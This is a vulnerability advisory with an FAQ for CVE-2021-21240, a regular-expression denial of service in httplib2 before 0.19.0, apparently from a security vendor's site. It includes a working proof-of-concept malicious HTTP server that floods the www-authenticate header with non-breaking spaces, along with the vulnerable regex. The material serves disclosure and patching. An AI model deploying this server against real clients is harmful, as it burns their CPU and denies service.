CVE-2021-21240

Regular Expression Denial of Service (REDoS) in httplib2

import httplib2
httplib2.USE_WWW_AUTH_STRICT_PARSING = True

\s*[^ \t\r\n=]+\s*=

www-authenticate: x \xa0\xa0\xa0\xa0x

from http.server import BaseHTTPRequestHandler, HTTPServer

def make_header_value(n_spaces):
    repeat = "\xa0" * n_spaces
    return f"x {repeat}x"

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.log_request(401)
        self.send_response_only(401)  # Don't bother sending Server and Date
        n_spaces = (
            int(self.path[1:])  # Can GET e.g. /100 to test shorter sequences
            if len(self.path) > 1 else
            65512  # Max header line length 65536
        )
        value = make_header_value(n_spaces)
        self.send_header("www-authenticate", value)  # This header can actually be sent multiple times
        self.end_headers()

if __name__ == "__main__":
    HTTPServer(("", 1337), Handler).serve_forever()

import httplib2
httplib2.Http(".cache").request("http://localhost:1337", "GET")

A malicious server which responds with long series of \xa0 characters in the www-authenticate header may cause Denial of Service (CPU burn while parsing header) of the httplib2 client accessing said server.

Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service. Typical impact: denial of service.

CVE-2021-21240 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.19.0); upgrading removes the vulnerable code path.

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Version 0.19.0 contains new implementation of auth headers parsing, using pyparsing library.
https://github.com/httplib2/httplib2/pull/182

1. What is CVE-2021-21240? CVE-2021-21240 is a high-severity uncontrolled resource consumption vulnerability in httplib2 (pip), affecting versions < 0.19.0. It is fixed in 0.19.0. Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service.
2. How severe is CVE-2021-21240? CVE-2021-21240 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of httplib2 are affected by CVE-2021-21240? httplib2 (pip) versions < 0.19.0 is affected.
4. Is there a fix for CVE-2021-21240? Yes. CVE-2021-21240 is fixed in 0.19.0. Upgrade to this version or later.
5. Is CVE-2021-21240 exploitable, and should I be worried? Whether CVE-2021-21240 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2021-21240 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2021-21240? Upgrade httplib2 to 0.19.0 or later.

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